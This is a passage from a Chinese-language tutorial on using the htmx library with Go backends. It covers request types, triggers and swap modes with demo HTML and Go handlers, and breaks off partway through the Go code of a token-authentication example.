传统的前端开发通常依赖于JavaScript框架，例如React、Vue或Angular。这些框架虽然功能强大，但往往伴随着高昂的学习成本和复杂的开发流程。对于那些主要从事后端开发的程序员来说，学习和掌握这些框架不仅需要花费大量时间，还需要深入理解前端生态系统中的各种概念和工具链。这种学习曲线和开发复杂性成为了许多后端开发者的阻碍，同时也成为了阻碍Go开发者迈向全栈的绊脚石。\nhtmx的诞生正是为了简化前端开发，特别是对于那些不愿意或没有时间深入学习JavaScript的开发者。\nhtmx的核心理念是通过扩展HTML，使其具备更强大的功能，从而减少对JavaScript的依赖。它遵循了”HTML优先”的设计原则，允许开发者直接在HTML元素中添加特殊的属性来定义与服务器交互的行为，比如动态加载、表单处理、局部刷新等，从而实现动态交互，而无需编写任何JavaScript代码。可以说，htmx的出现为后端开发者(包括Gopher)提供了一种新的选择，使得Web应用的开发变得更加直观和简便。\n不过，htmx自身却是一个轻量级的JavaScript库，这与Go的设计哲学有些“异曲同工”，即简单留给大家，复杂留给自己。作为js库，它提供了一组简洁而强大的API，通过设置HTML属性，开发者就可以实现多种交互功能。以下是htmx的一些核心特性：\n请求类型（hx-get、hx-post、hx-put和hx-delete） 通过指定请求类型，htmx可以在用户触发事件时向服务器发送请求，并处理响应。\n目标更新（hx-target） 支持指定服务器响应数据要插入的DOM元素，支持部分页面更新而无需刷新整个页面。\n触发条件（hx-trigger） 支持定义请求触发的条件，例如点击、鼠标悬停、表单提交等事件。\n交换方式（hx-swap） 支持定义响应内容插入DOM的方式，可以选择替换、插入、删除等操作。\n这些API的设计目标是让开发者能够通过声明式的方式来实现前端逻辑，而不必依赖JavaScript代码，以简化开发过程。\n由于几乎无需后端开发者写JavaScript，HTMX很容易被认为是**SSR（服务器端渲染）**的一种实现。它们看似很相似，但它们的思路并不完全一致。SSR的渲染过程是在服务器上完成的，服务器生成整个HTML页面的内容，并将其发送给客户端。客户端接收到完整的HTML直接展示给用户。这也使得SSR通常可以提供更快的初始加载体验，因为用户可以立即看到页面内容，而不必等待JavaScript加载和执行。此外，由于HTML内容在服务器上渲染，搜索引擎更容易抓取和索引内容。\n而HTMX的大部分渲染也是在服务端完成的，但它支持在客户端通过AJAX请求动态更新页面的某些部分，而不需要重新加载整个页面，只是它是通过简单的HTML属性(外加自身js)实现这些功能的，而无需用户手工写JavaScript实现。HTMX还使得页面能够更具交互性，用户可以在不离开当前页面的情况下与应用程序进行交互。\n因此，htmx可以视为一种结合SSR和**局部CSR(客户端渲染)**的技术，它让你通过服务器端渲染HTML，同时在客户端实现灵活的动态交互功能。这使得开发者能够在SSR提供的性能优势和SEO友好性基础上，提升用户体验而不必依赖完整的客户端框架。\n虽然保留了CSR，但与传统的JavaScript框架（如 React、Vue、Angular）相比，htmx非常轻量，体积非常小，以撰写本文时的最新2.0.2版本htmx为例，它的js包大小如下，压缩版才10几k：\n此外，传统框架虽然功能强大，但往往需要复杂的配置和较高的学习成本，尤其对于习惯后端开发的开发者来说，更是如此。而使用HTMX，只需掌握HTML和少量的htmx API即可开始开发，适合后端开发者快速上手。\n说了这么多htmx的优点，那基于htmx的开发究竟是怎样的呢？下面我们就以htmx的几个核心特性为例，看看如何基于htmx开发简单web应用。\n2. htmx的基本用法 在前面我们了解了htmx的几个核心特性，包括请求类型、目标更新等。下面我们就针对这些核心特性，举几个例子，大家初步了解一下基于htmx的开发web应用的流程。\n我们先从请求类型开始，了解一下基于htmx如何向后端发起POST/GET/PUT/DELETE等请求。\n2.1 示例1：请求类型 在这第一个示例中，我们使用Go语言创建一个简单的服务器，并使用htmx在前端实现不同类型的请求。下面是我们定义的html模板，其中包含了htmx的自定义属性：\n// go-htmx/demo1/index.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;HTMX Go Example\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/htmx.org@2.0.2\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; .row { margin-bottom: 10px; } button { width: 120px; margin-right: 10px; } .result { display: inline-block; width: 300px; border: 1px solid #ccc; padding: 5px; min-height: 20px; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;HTMX Request Types Demo\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/get\u0026#34; hx-target=\u0026#34;#get-result\u0026#34;\u0026gt;GET Request\u0026lt;/button\u0026gt; \u0026lt;span id=\u0026#34;get-result\u0026#34; class=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;button hx-post=\u0026#34;/api/post\u0026#34; hx-target=\u0026#34;#post-result\u0026#34;\u0026gt;POST Request\u0026lt;/button\u0026gt; \u0026lt;span id=\u0026#34;post-result\u0026#34; class=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;button hx-put=\u0026#34;/api/put\u0026#34; hx-target=\u0026#34;#put-result\u0026#34;\u0026gt;PUT Request\u0026lt;/button\u0026gt; \u0026lt;span id=\u0026#34;put-result\u0026#34; class=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;row\u0026#34;\u0026gt; \u0026lt;button hx-delete=\u0026#34;/api/delete\u0026#34; hx-target=\u0026#34;#delete-result\u0026#34;\u0026gt;DELETE Request\u0026lt;/button\u0026gt; \u0026lt;span id=\u0026#34;delete-result\u0026#34; class=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 在这个HTML模板文件中包含了四个按钮，每个按钮对应一种http请求类型（GET、POST、PUT、DELETE），具体的实现方式是每个按钮都使用了相应的htmx属性（hx-get、hx-post、hx-put、hx-delete）来指定请求类型和目标URL。此外，所有按钮都使用了hx-target来设置服务器的响应将被显示的元素id。以get请求button为例，响应的值将被放到id为get-result的span中。\n对应的Go后端程序就非常简单了，下面是代码摘录：\n// go-htmx/demo1/main.go package main import ( \u0026#34;fmt\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;os\u0026#34; \u0026#34;path/filepath\u0026#34; ) func main() { http.HandleFunc(\u0026#34;/\u0026#34;, handleIndex) http.HandleFunc(\u0026#34;/api/get\u0026#34;, handleGet) http.HandleFunc(\u0026#34;/api/post\u0026#34;, handlePost) http.HandleFunc(\u0026#34;/api/put\u0026#34;, handlePut) http.HandleFunc(\u0026#34;/api/delete\u0026#34;, handleDelete) fmt.Println(\u0026#34;Server is running on http://localhost:8080\u0026#34;) http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } func handleIndex(w http.ResponseWriter, r *http.Request) { currentDir, _ := os.Getwd() filePath := filepath.Join(currentDir, \u0026#34;index.html\u0026#34;) http.ServeFile(w, r, filePath) } func handleGet(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Received a GET request\u0026#34;) } func handlePost(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Received a POST request\u0026#34;) } func handlePut(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Received a PUT request\u0026#34;) } func handleDelete(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Received a DELETE request\u0026#34;) } 运行该server后，用浏览器打开localhost:8080，我们将看到下面页面：\n逐一点击各个Button，htmx会将从服务器收到的响应内容放入对应的span中：\n2.2 示例2：触发条件 在这个示例2中，我们将基于htmx实现对各种触发条件的响应与处理，htmx提供了hx-trigger属性来应对这些不同的事件触发，包括点击、鼠标悬停和表单提交等。我们看下面html模板代码：\n// go-htmx/demo2/index.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;HTMX Trigger Demo\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/htmx.org@2.0.2\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; .demo-section { margin-bottom: 20px; padding: 10px; border: 1px solid #ccc; } .result { margin-top: 10px; padding: 5px; background-color: #f0f0f0; min-height: 20px; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;HTMX Trigger Demo\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;Click Trigger\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/click\u0026#34; hx-trigger=\u0026#34;click\u0026#34; hx-target=\u0026#34;#click-result\u0026#34;\u0026gt; Click me \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;click-result\u0026#34; class=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;Hover Trigger\u0026lt;/h2\u0026gt; \u0026lt;div hx-get=\u0026#34;/api/hover\u0026#34; hx-trigger=\u0026#34;mouseenter\u0026#34; hx-target=\u0026#34;#hover-result\u0026#34; style=\u0026#34;display: inline-block; padding: 10px; background-color: #e0e0e0;\u0026#34;\u0026gt; Hover over me \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;hover-result\u0026#34; class=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;Form Submit Trigger\u0026lt;/h2\u0026gt; \u0026lt;form hx-post=\u0026#34;/api/submit\u0026#34; hx-trigger=\u0026#34;submit\u0026#34; hx-target=\u0026#34;#form-result\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;message\u0026#34; placeholder=\u0026#34;Enter a message\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;Submit\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;div id=\u0026#34;form-result\u0026#34; class=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;Custom Delay Trigger\u0026lt;/h2\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;search\u0026#34; hx-get=\u0026#34;/api/search\u0026#34; hx-trigger=\u0026#34;keyup changed delay:500ms\u0026#34; hx-target=\u0026#34;#search-result\u0026#34; placeholder=\u0026#34;Type to search...\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;search-result\u0026#34; class=\u0026#34;result\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 通过模板代码，我们可以看到hx-trigger 的多种用法：\n点击触发（Click Trigger）：使用 hx-trigger=”click”，当按钮被点击时触发请求。 悬停触发（Hover Trigger）：使用 hx-trigger=”mouseenter”，当鼠标悬停在元素上时触发请求。 表单提交触发（Form Submit Trigger）：使用 hx-trigger=”submit”，当表单提交时触发请求。 自定义延迟触发（Custom Delay Trigger）：使用 hx-trigger=”keyup changed delay:500ms”，在输入框中输入时，等待500毫秒后触发请求。这对于实现搜索建议等功能很有用。 下面是该示例的后端go代码，逻辑非常简单，针对每个事件调用，简单返回一个字符串：\n// go-htmx/demo2/main.go ... ... func main() { http.HandleFunc(\u0026#34;/\u0026#34;, handleIndex) http.HandleFunc(\u0026#34;/api/click\u0026#34;, handleClick) http.HandleFunc(\u0026#34;/api/hover\u0026#34;, handleHover) http.HandleFunc(\u0026#34;/api/submit\u0026#34;, handleSubmit) http.HandleFunc(\u0026#34;/api/search\u0026#34;, handleSearch) fmt.Println(\u0026#34;Server is running on http://localhost:8080\u0026#34;) http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } func handleIndex(w http.ResponseWriter, r *http.Request) { currentDir, _ := os.Getwd() filePath := filepath.Join(currentDir, \u0026#34;index.html\u0026#34;) http.ServeFile(w, r, filePath) } func handleClick(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;Button was clicked!\u0026#34;) } func handleHover(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;You hovered over the element!\u0026#34;) } func handleSubmit(w http.ResponseWriter, r *http.Request) { message := r.FormValue(\u0026#34;message\u0026#34;) fmt.Fprintf(w, \u0026#34;Form submitted with message: %s\u0026#34;, message) } func handleSearch(w http.ResponseWriter, r *http.Request) { query := r.URL.Query().Get(\u0026#34;search\u0026#34;) fmt.Fprintf(w, \u0026#34;Searching for: %s\u0026#34;, query) } 运行该server后，用浏览器打开localhost:8080，我们将看到下面页面：\n接下来，我们可以尝试点击按钮、悬停在元素上、提交表单和在搜索框中输入，看看每个操作如何触发HTMX 请求并更新页面的相应部分，下面是触发后的结果：\n2.3 示例3：交换方式 在示例3中，我们将展示如何使用htmx的hx-swap属性实现不同的内容更新方式，包括替换、插入和删除操作，其中还包含多种替换方式。下面是html模板：\n// go-htmx/demo3/index.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;HTMX Swap Demo - All Attributes\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/htmx.org@2.0.2\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;style\u0026gt; .demo-section { margin-bottom: 20px; padding: 10px; border: 1px solid #ccc; } .content-box { margin-top: 10px; padding: 10px; border: 1px solid #ddd; min-height: 50px; } .item { margin: 5px 0; padding: 5px; background-color: #f0f0f0; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;HTMX Swap Demo - All Attributes\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;innerHTML (Default)\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/swap/inner\u0026#34; hx-target=\u0026#34;#inner-content\u0026#34;\u0026gt; Swap innerHTML \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;inner-content\u0026#34; class=\u0026#34;content-box\u0026#34;\u0026gt; \u0026lt;p\u0026gt;This is the original content. The entire inner HTML will be replaced.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;outerHTML\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/swap/outer\u0026#34; hx-target=\u0026#34;#outer-content\u0026#34; hx-swap=\u0026#34;outerHTML\u0026#34;\u0026gt; Swap outerHTML \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;outer-content\u0026#34; class=\u0026#34;content-box\u0026#34;\u0026gt; \u0026lt;p\u0026gt;This entire div will be replaced, including its container.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;textContent\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/swap/text\u0026#34; hx-target=\u0026#34;#text-content\u0026#34; hx-swap=\u0026#34;textContent\u0026#34;\u0026gt; Swap textContent \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;text-content\u0026#34; class=\u0026#34;content-box\u0026#34;\u0026gt; \u0026lt;p\u0026gt;This \u0026lt;strong\u0026gt;text\u0026lt;/strong\u0026gt; will be replaced, but HTML tags will be treated as plain text.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;beforebegin\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/swap/before\u0026#34; hx-target=\u0026#34;#before-content\u0026#34; hx-swap=\u0026#34;beforebegin\u0026#34;\u0026gt; Insert before \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;before-content\u0026#34; class=\u0026#34;content-box\u0026#34;\u0026gt; \u0026lt;p\u0026gt;New content will be inserted before this div.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;afterbegin\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/swap/afterbegin\u0026#34; hx-target=\u0026#34;#afterbegin-content\u0026#34; hx-swap=\u0026#34;afterbegin\u0026#34;\u0026gt; Insert at beginning \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;afterbegin-content\u0026#34; class=\u0026#34;content-box\u0026#34;\u0026gt; \u0026lt;p\u0026gt;New content will be inserted at the beginning of this div, before this paragraph.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;beforeend\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/swap/beforeend\u0026#34; hx-target=\u0026#34;#beforeend-content\u0026#34; hx-swap=\u0026#34;beforeend\u0026#34;\u0026gt; Insert at end \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;beforeend-content\u0026#34; class=\u0026#34;content-box\u0026#34;\u0026gt; \u0026lt;p\u0026gt;New content will be inserted at the end of this div, after this paragraph.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;afterend\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/swap/after\u0026#34; hx-target=\u0026#34;#after-content\u0026#34; hx-swap=\u0026#34;afterend\u0026#34;\u0026gt; Insert after \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;after-content\u0026#34; class=\u0026#34;content-box\u0026#34;\u0026gt; \u0026lt;p\u0026gt;New content will be inserted after this div.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;demo-section\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;delete\u0026lt;/h2\u0026gt; \u0026lt;button hx-get=\u0026#34;/api/swap/delete\u0026#34; hx-target=\u0026#34;#delete-content\u0026#34; hx-swap=\u0026#34;delete\u0026#34;\u0026gt; Delete content \u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;delete-content\u0026#34; class=\u0026#34;content-box\u0026#34;\u0026gt; \u0026lt;p\u0026gt;This content will be deleted when the button is clicked.\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 这个示例略复杂，它涵盖了hx-swap的所有属性：\ninnerHTML（默认）：替换目标元素的内部HTML。 outerHTML：用响应替换整个目标元素。 textContent：替换目标元素的文本内容，不解析HTML。 beforebegin：在目标元素之前插入响应。 afterbegin：在目标元素的第一个子元素之前插入响应。 beforeend：在目标元素的最后一个子元素之后插入响应。 afterend：在目标元素之后插入响应。 delete：删除目标元素，忽略响应内容。 为了配合这个演示，我们编写了一个简单的go后端程序：\n// go-htmx/demo3/main.go ... ... func main() { http.HandleFunc(\u0026#34;/\u0026#34;, handleIndex) http.HandleFunc(\u0026#34;/api/swap/inner\u0026#34;, handleInner) http.HandleFunc(\u0026#34;/api/swap/outer\u0026#34;, handleOuter) http.HandleFunc(\u0026#34;/api/swap/text\u0026#34;, handleText) http.HandleFunc(\u0026#34;/api/swap/before\u0026#34;, handleBefore) http.HandleFunc(\u0026#34;/api/swap/afterbegin\u0026#34;, handleAfterBegin) http.HandleFunc(\u0026#34;/api/swap/beforeend\u0026#34;, handleBeforeEnd) http.HandleFunc(\u0026#34;/api/swap/after\u0026#34;, handleAfter) http.HandleFunc(\u0026#34;/api/swap/delete\u0026#34;, handleDelete) fmt.Println(\u0026#34;Server is running on http://localhost:8080\u0026#34;) http.ListenAndServe(\u0026#34;:8080\u0026#34;, nil) } func handleIndex(w http.ResponseWriter, r *http.Request) { currentDir, _ := os.Getwd() filePath := filepath.Join(currentDir, \u0026#34;index.html\u0026#34;) http.ServeFile(w, r, filePath) } func handleInner(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;\u0026lt;p\u0026gt;This content replaced the inner HTML at %s\u0026lt;/p\u0026gt;\u0026#34;, time.Now().Format(time.RFC1123)) } func handleOuter(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;\u0026lt;div id=\\\u0026#34;outer-content\\\u0026#34; class=\\\u0026#34;content-box\\\u0026#34;\u0026gt;\u0026lt;p\u0026gt;This div replaced the entire outer HTML at %s\u0026lt;/p\u0026gt;\u0026lt;/div\u0026gt;\u0026#34;, time.Now().Format(time.RFC1123)) } func handleText(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;This replaced the text content at %s. \u0026lt;strong\u0026gt;HTML tags\u0026lt;/strong\u0026gt; are not parsed.\u0026#34;, time.Now().Format(time.RFC1123)) } func handleBefore(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;\u0026lt;p class=\\\u0026#34;item\\\u0026#34;\u0026gt;This content was inserted before the target div at %s\u0026lt;/p\u0026gt;\u0026#34;, time.Now().Format(time.RFC1123)) } func handleAfterBegin(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;\u0026lt;p class=\\\u0026#34;item\\\u0026#34;\u0026gt;This content was inserted at the beginning of the target div at %s\u0026lt;/p\u0026gt;\u0026#34;, time.Now().Format(time.RFC1123)) } func handleBeforeEnd(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;\u0026lt;p class=\\\u0026#34;item\\\u0026#34;\u0026gt;This content was inserted at the end of the target div at %s\u0026lt;/p\u0026gt;\u0026#34;, time.Now().Format(time.RFC1123)) } func handleAfter(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \u0026#34;\u0026lt;p class=\\\u0026#34;item\\\u0026#34;\u0026gt;This content was inserted after the target div at %s\u0026lt;/p\u0026gt;\u0026#34;, time.Now().Format(time.RFC1123)) } func handleDelete(w http.ResponseWriter, r *http.Request) { // For delete, we don\u0026#39;t need to send any content back w.WriteHeader(http.StatusOK) } 运行该server后，用浏览器打开localhost:8080，你应该能看到一个包含八个不同部分的页面，每个部分演示了hx-swap的一种属性。你可以点击每个部分的按钮，观察内容如何以不同的方式更新或变化。这个综合示例展示了hx-swap的强大功能和灵活性，让你可以精确控制如何更新页面的不同部分。下面是你可以看到的效果呈现：\n以上就是htmx核心属性的用法，基于这些核心属性，我们可以实现更多更为复杂和高级的场景功能。在下一节，我们会举两个复杂一些的示例，供大家参考。\n3. 高级用法 3.1 基于token的身份认证 在使用HTMX作为前端与后端进行交互时，通常会涉及到用户身份认证及鉴权，其中一个常见场景是通过前端获取的Token（如JWT）去访问后端的受保护的API。下面我们看看使用HTMX该如何实现这一常见功能。\n下面是网站首页的html模板，包含用户登录的Form：\n// go-htmx/demo4/index.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;HTMX Auth Example - Login\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/htmx.org@2.0.2\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; htmx.on(\u0026#39;htmx:afterRequest\u0026#39;, function(event) { if (event.detail.elt.id === \u0026#39;login-form\u0026#39;) { var xhr = event.detail.xhr; if (xhr.status === 200) { var response = JSON.parse(xhr.responseText); if (response.success) { localStorage.setItem(\u0026#39;auth_token\u0026#39;, response.token); window.location.href = response.redirect; } else { document.getElementById(\u0026#39;message\u0026#39;).innerText = response.message; } } else { document.getElementById(\u0026#39;message\u0026#39;).innerText = \u0026#34;An error occurred. Please try again.\u0026#34;; } } }); \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;HTMX Auth Example - Login\u0026lt;/h1\u0026gt; \u0026lt;form id=\u0026#34;login-form\u0026#34; hx-post=\u0026#34;/login\u0026#34; hx-target=\u0026#34;#message\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;username\u0026#34;\u0026gt;Username:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; id=\u0026#34;username\u0026#34; name=\u0026#34;username\u0026#34; required\u0026gt;\u0026lt;br\u0026gt;\u0026lt;br\u0026gt; \u0026lt;label for=\u0026#34;password\u0026#34;\u0026gt;Password:\u0026lt;/label\u0026gt; \u0026lt;input type=\u0026#34;password\u0026#34; id=\u0026#34;password\u0026#34; name=\u0026#34;password\u0026#34; required\u0026gt;\u0026lt;br\u0026gt;\u0026lt;br\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;Login\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;div id=\u0026#34;message\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 这个代码片段结合了HTMX和JavaScript，处理登录表单的提交，以及登录成功后将令牌（Token）存储到浏览器的本地存储中，并在登录成功后重定向到dashboard页面。\n这段代码监听了HTMX的htmx:afterRequest事件。此事件在HTMX请求完成（即请求已经发出并接收到响应）后触发，event.detail.elt表示触发事件的元素。代码检查该元素的id是否为login-form，确认这次请求来自登录表单。如果是其他表单或元素触发的请求，它将忽略。如果服务器的身份验证成功，它以json格式返回token和重定向地址，前端会解析响应，并将Token存储到本地存储，然后自动跳转到登录后的dashboard页面。\n下面是dashboard页面的html模板：\n// go-htmx/demo4/dashboard.html \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;UTF-8\u0026#34;\u0026gt; \u0026lt;meta name=\u0026#34;viewport\u0026#34; content=\u0026#34;width=device-width, initial-scale=1.0\u0026#34;\u0026gt; \u0026lt;title\u0026gt;HTMX Auth Example - Dashboard\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://unpkg.com/htmx.org@2.0.2\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; document.addEventListener(\u0026#39;DOMContentLoaded\u0026#39;, function() { htmx.on(\u0026#39;htmx:configRequest\u0026#39;, function(event) { var token = localStorage.getItem(\u0026#39;auth_token\u0026#39;); if (token) { event.detail.headers[\u0026#39;Authorization\u0026#39;] = \u0026#39;Bearer \u0026#39; + token; } }); }); \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Welcome to Your Dashboard\u0026lt;/h1\u0026gt; \u0026lt;button hx-get=\u0026#34;/protected\u0026#34; hx-target=\u0026#34;#protected-content\u0026#34;\u0026gt;Access Protected Content\u0026lt;/button\u0026gt; \u0026lt;div id=\u0026#34;protected-content\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 这段代码最值得关注的地方就是在后续发出的Request中自动加入之前获取到的token。这里是使用了htmx:configRequest事件实现的。监听HTMX的htmx:configRequest事件，该事件在HTMX发出请求之前触发，它允许你修改即将发出的请求。这里的configRequest的处理逻辑是：如果Token存在，将它添加到即将发出的请求的Authorization头中，并格式化为标准的Bearer Token形式（即 “Authorization: Bearer your_token_here”）。这样，后端在处理请求时可以从请求头中提取出Token，用于验证用户身份。\n整个示例的后端go程序如下：\n// go-htmx/demo4/main.go package main import ( \u0026#34;encoding/json\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;html/template\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;strings\u0026#34; \u0026#34;sync\u0026#34; \u0026#34;github.com/google/uuid\u0026#34; ) var ( tokens = 